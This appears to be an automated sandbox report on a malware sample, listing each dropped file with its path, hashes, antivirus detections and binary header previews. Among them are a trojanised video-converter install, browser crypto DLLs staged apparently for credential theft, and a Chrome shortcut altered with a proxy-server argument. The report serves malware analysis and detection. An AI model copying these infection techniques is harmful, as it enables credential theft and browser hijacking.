SHA-512:	74442827172FEF0FDB08E883CE23618F3222A7DF91B28150AEC5294415F8522159EECF1800E412C79B8D833FB74445C4030CF0A00C16012A2FB7B0ACD5ED6D27
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="495685" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER976C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92448
Entropy (8bit):	3.0544053792564982
Encrypted:	false
SSDEEP:	1536:d4reeZ/4ToULSfZZScS8bfXyWCHMpwyVqhBAjgEc6l:d4reeZ/4ToULSfZZScS8bfyWCHMpwyVB
MD5:	BBDFD0A69DA85E5A67C8118DF8483847
SHA1:	B4A49B59778E3D4DF243FCD369AC6593040BA86F
SHA-256:	400644E6AFB4D2B6E44F4382FAC197153E41EC90A6AEF7142132CC1C62E5A04D
SHA-512:	352A43F2A964918DA8BAB826D67095B16B8B39608DEEBCE9430F17984F43C5513B18150CCF732CB1F55450828E922A41AA03E6D606248AD4A0548FA6C68E39FE
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9980.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6860570088398563
Encrypted:	false
SSDEEP:	96:TiZYWakD7kY3YvWpdFcHyYEZqvtHidIek7wDdtYfaX3HUMelfIFr3:2ZDyAaiIaX3HUMelwFr3
MD5:	0286D9B451E94B3C3E0C3D3EC94F1292
SHA1:	7074103985196D2FA6D7A24599B9857C82B39CAF
SHA-256:	4BAB015C6C9DEC7E53D80DA77E9417478FBA861120BDF49E5D13901B2A05BF2C
SHA-512:	5A21B0DC4D276099643F740DBCFB422016739DD0EABA060C44030D7D1366CB0421E9A9AF4FA767AE5D9FF609723674248C2234F400694410D7B1EEA1C971E616
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\dk911-it-45.dat

Download File

Process:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:86/n:86/n
MD5:	EF15BE5B8B3B691A2891A9D27C433876
SHA1:	7D350B6D44799964D1DEFFEFF112768C1F59E319
SHA-256:	106D71FFDB2787EAE19E61ADCBB89ED2F5304568B3F920F88213DBD887E0B011
SHA-512:	B5E449FD63A723488B670237E77C5BB2BA7C556A36C5E43F42936ABFDABD7F2DE66C2735B4F041475C2A14E349E00CBFF4325721D7909F97A0CF0478B323466A
Malicious:	false
Reputation:	unknown
Preview:	...f....

C:\ProgramData\dk911-rc-45.dat

Download File

Process:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:7ln:h
MD5:	938A9C47D8E3F7089444DAA0784A7381
SHA1:	5D76FF032FFA7D57280743AF0D2E296D98170D27
SHA-256:	01AE8BCA3FEDDC447C36822C041BE588EF20CA9FF84C4AE180A0776F744427E2
SHA-512:	6606FF99AE2E7E42B1BE517A19759519B284A62C51AB4C2C542054AAB1AD22C4DA4F5AF1CF149F2AF64147250F777FF02214F11F0FBE425777D69BD05AC12F27
Malicious:	false
Reputation:	unknown
Preview:	&...

C:\ProgramData\dk911-res-a.dat

Download File

Process:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	unknown
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\dk911-res-b.dat

Download File

Process:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.2701231977328944
Encrypted:	false
SSDEEP:	3:WAmJuXDz8/:HHzc
MD5:	0D6174E4525CFDED5DD1C9440B9DC1E7
SHA1:	173EF30A035CE666278904625EADCFAE09233A47
SHA-256:	458677CDF0E1A4E87D32AB67D6A5EEA9E67CB3545D79A21A0624E6BB5E1087E7
SHA-512:	86DA96385985A1BA3D67A8676A041CA563838F474DF33D82B6ECD90C101703B30747121A6B7281E025A3C11CE28ACCEDFC94DB4E8D38E391199458056C2CD27A
Malicious:	false
Reputation:	unknown
Preview:	ccddf9e705966c2f471db9..........................................................................................................

C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11158528
Entropy (8bit):	7.965100436275914
Encrypted:	false
SSDEEP:	196608:rOcTCbnBZ+FV7CyJBPuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDabGoDqs:rNTCbnYFXzPuH8kv477RWXJs59NqIPmp
MD5:	079D166295BAFA2AB44902C8BF5FF2A5
SHA1:	46E728A035C3FD9618F823A5D0B525A9AA22E1C1
SHA-256:	DBE5FB6A6D567628F7982723F21869F68508397EE6926116554AEF37789014D8
SHA-512:	949F278BF199553263D7023349B16F6060506E29518886DFF77D913DF54B951B0C0026667BBD67A9CDC4C44AE7C174D74DDD7D5520DF081D91A1296DE095151B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#............................@.......................................... ..................................................0..<............m..`..........................................x...(...@l..8............P.. ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..8k......................... ..`.text1..X....P......................@....text2...7...`...8..................`..h.rsrc................>..............@..@........................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jewkkwnf\jewkkwnf.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:34 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.4588175325576818
Encrypted:	false
SSDEEP:	48:8SE0dGTi+GRYrnvPdAKRkdAGdAKRFdAKR/U:8SENt
MD5:	D7359C2572BE7D07003365DD9EC9A6AF
SHA1:	84E2D48F55393D418E65340296E6221118EA551E
SHA-256:	68795B29E0B94B66F76217E3D42ACBED21704DCEDADB8A22FC489ECF66D5DEB4
SHA-512:	EB1E31495FB81F6114C7375F5FEDC297FA804C85D18C17FB10D169A0F3DA1B20D8C2A3628A8985DE4A9C7BBC4A543BAB0F7CA821C0B4DC3B94A1B928BD510AC9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.............q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWR`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWR`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWR`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\userIDHIEGIIIE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	289832
Entropy (8bit):	7.984760952741452
Encrypted:	false
SSDEEP:	6144:ZORZ5iWXTuglvdAAOFwTE6ybVykLN0C+gpQzmjoqPI1o7JFVn/DbyH0EO:ZQZ5iWZxOeTiVMCxQSjohqtF1yUEO
MD5:	E1001C8649AC77FAEB446D8FF91F50D2
SHA1:	C2532C7B108AC61CA439CFD0A7992B26C89DC34B
SHA-256:	05D5D2F7E1270D38D47870C349D22A7E02C9682BA123B1B5E8AE1AA4E3554087
SHA-512:	A55BFA7EAFCA3306E51BD0E1100E46EA407F4451332FCCE2772788A25E77D9B968A2FFC934CC05FC9117A1AB8DDADE1F15E61CDD35341EE8D977721BB4FB178F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....).f.................<..........^[... ...`....@.. ....................................`..................................[..K....`...............F..(&...........Y............................................... ............... ..H............text...d;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............D..............@..B................@[......H.......pL..h...........................................................\.b.;1i3?....&..M....}.]...I..u.....).g......j...b..UZA2F..r..r..X.j...'J.$NL.0~._...0x.T..<)...........5..7C]=.....Z././.m....?l...h.(..,w.B.)...........dT.e1=.w..[.Z.d6<......y ...6*y.c..v.u.Y...<..<.3V.%.fq.O..8...Nl...lq..$.....PQ..w(..o...i.C.]y"..'g..H.a.M.......p<.W...Z2],..d.\|.\5;!..._...q<c3.a&.+Z..GpY..+...3.A.....X{..\.q.[.........q....v.H..0}..a2@?.asC.....O./.c..{.

C:\Users\userJJJJDAAECG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.988262547218366
Encrypted:	false
SSDEEP:	6144:lrajaPeAu827HzFo/cSHh5zbc/yj43AUq6De4oDEKYEO:9iTFUcSh5zYG4g6D2DE5EO
MD5:	94C5ABD0ECCD77846B4E0F641906BB19
SHA1:	3FB0119C89952F61AEE14ABBE693A293EE916439
SHA-256:	863C177542F93D6E42BA2DC7633CEC75DA9515C39ED13915F63E9361F5CF7A6B
SHA-512:	4BBFCE9F805C755380FF18CECC5A6CFEB9AEADF7140D5C612FCA44CFF923B57507AB01BD2B2F1389A97C0B3B41737E16732330980A9E3B02898B2C1271C7EAE9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...().f............................^.... ........@.. .......................@............`.....................................K.......................(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......p...h...............................................................t...8;/.".k..L.`R...4[{I.A..![....(._...g.*2.F3.+...r5.A_..=..s...d.4i./q..I.ZK.}.H......r0ID....M.-4.y.r...c1.IH3....&......o.~.@T..D...... .M1.....2......g~.....q...&C...Ij..oi....cT..'...c+...+.MP.P..c.....~....=...-....\"..`......]5..>.....8}Bo..@G...v..d.\|j.C.}.{.(.v....~.........l./.<....!v4.d.I...[7w...C...$.STW........Y...%..)'w.W?..Ai...@v.S]..D.....@....!%..O..../..8%.=..

C:\Users\user\AppData\Local\Batch AVI Converter\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2240363
Entropy (8bit):	6.846731775974463
Encrypted:	false
SSDEEP:	24576:TLyOMiPFsuU62LRH8gVoSy6KaQ7xv0e/ES/z+Uo7rj8a6w7zY0eRvhLS1XbunbdV:3yqPjU62Lx8gVoARtvFhFXSMwE2
MD5:	E758DD44C9B639C327EE3DD035D84E2D
SHA1:	3DFF74C5B70B558D6C518F54E6AD276CB4DF47B6
SHA-256:	DFD90694F15EA09297C1558B8EE9709B51F862B66987FC03C1E9875556B42DFB
SHA-512:	8F79206B32FDCC44DD0A3FDC1D6E548713CD4A3F61A092066FE6768FCDC1EEAC29BEDD362D69DDF0C3D70F45135F7D1ACF3D2F89D3EA01566491B10ACDBA6677
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...HN.L.........."......P...0.......X.......`....@..........................P".............................................4i..T.......0............................................................................`...............................text...lJ.......P.................. ..`_areg_3.p;...`...@...`..............@..@.data...8 ..........................@....rsrc...............................@..@_breg_3.........k....p..............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Batch AVI Converter\is-1HF8J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
